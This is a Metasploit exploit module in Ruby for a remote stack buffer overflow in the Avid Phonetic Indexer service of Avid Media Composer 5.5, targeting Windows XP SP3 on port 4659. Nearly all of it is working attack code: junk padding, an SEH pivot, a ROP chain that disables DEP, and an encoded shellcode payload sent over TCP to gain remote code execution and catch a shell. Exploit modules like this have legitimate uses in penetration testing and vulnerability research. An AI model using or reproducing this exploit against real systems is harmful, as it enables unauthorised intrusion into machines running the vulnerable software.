Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow

`require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",  
'Description' => %q{  
This module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659),  
which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a  
different port; if you start it standalone it will run on port 4660.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 13137 $",  
'Author' =>  
[  
'vt [[email protected]]',   
],  
'References' =>  
[  
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ],  
],  
'Payload' =>  
{  
'Space' => 1012,  
'BadChars' => "\x00\x09\x0a\x0d\x20",  
'DisableNops' => true,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EAX',  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Professional SP3', {} ],  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 29 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(4659),  
], self.class)  
end  
  
def exploit  
  
junk = 'A' * 216   
sehpivot = "\xeb\x35\x8b\x02" #0x028B35EB : # ADD ESP,1800 # RETN   
junk2 = 'A' * 732  
  
rop_gadgets = [  
  
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :)  
0x7C344CC1, # pop eax;ret;  
0x7C3410C2, # pop ecx;pop ecx;ret;  
0x7C342462, # xor chain; call eax {0x7C3410C2}  
0x7C38C510, # writeable location for lpflOldProtect  
0x7C365645, # pop esi;ret;  
0x7C345243, # ret;  
0x7C348F46, # pop ebp;ret;  
0x7C3487EC, # call eax   
0x7C344CC1, # pop eax;ret;   
0xfffffbfc, # {size}  
0x7C34D749, # neg eax;ret; {adjust size}  
0x7C3458AA, # add ebx, eax;ret; {size into ebx}  
0x7C3439FA, # pop edx;ret;   
0xFFFFFFC0, # {flag}  
0x7C351EB1, # neg edx;ret; {adjust flag}  
0x7C354648, # pop edi;ret;  
0x7C3530EA, # mov eax,[eax];ret;  
0x7C344CC1, # pop eax;ret;  
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}  
0x7C355AEB, # sub eax,30;ret;  
0x7C378C81, # pushad; add al,0xef; ret;  
0x7C36683F, # push esp;ret;  
].pack("V*")  
  
# need to control a buffer reg for the msf gen'd payload to fly. in this case:  
bufregfix = "\x8b\xc4" # MOV EAX,ESP  
bufregfix += "\x83\xc0\x10" # ADD EAX,10   
  
connect  
sploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded   
sock.put(sploit)  
handler  
disconnect  
end  
end  
`